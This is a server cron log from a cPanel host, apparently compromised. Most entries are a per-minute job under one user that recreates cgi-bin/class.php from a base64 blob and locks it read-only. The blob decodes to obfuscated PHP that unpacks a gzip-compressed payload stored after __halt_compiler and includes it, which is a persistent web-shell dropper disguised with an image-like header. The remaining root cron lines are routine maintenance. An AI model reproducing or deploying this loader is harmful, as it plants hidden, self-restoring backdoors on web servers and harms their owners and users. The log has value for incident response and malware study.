Nov 11 23:57:01 server CROND[25299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:58:01 server CROND[26111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:59:01 server CROND[26926]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:00:01 server CROND[27510]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:00:01 server CROND[27516]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:00:01 server CROND[27512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 00:00:01 server CROND[27520]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:00:01 server CROND[27517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:00:01 server CROND[27518]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 00:01:01 server CROND[28468]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 00:01:01 server CROND[28467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:01:01 server run-parts(/etc/cron.hourly)[28468]: starting 0anacron
Nov 12 00:01:01 server anacron[28481]: Anacron started on 2025-11-12
Nov 12 00:01:01 server run-parts(/etc/cron.hourly)[28483]: finished 0anacron
Nov 12 00:01:01 server anacron[28481]: Normal exit (0 jobs run)
Nov 12 00:02:01 server CROND[28742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:03:01 server CROND[29486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:04:01 server CROND[30334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:05:01 server CROND[31165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:05:01 server CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 00:05:01 server CROND[31167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:05:01 server CROND[31168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:06:01 server CROND[32356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:07:01 server CROND[732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:08:01 server CROND[1509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:09:01 server CROND[2323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:09:01 server CROND[2324]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:10:01 server CROND[3125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
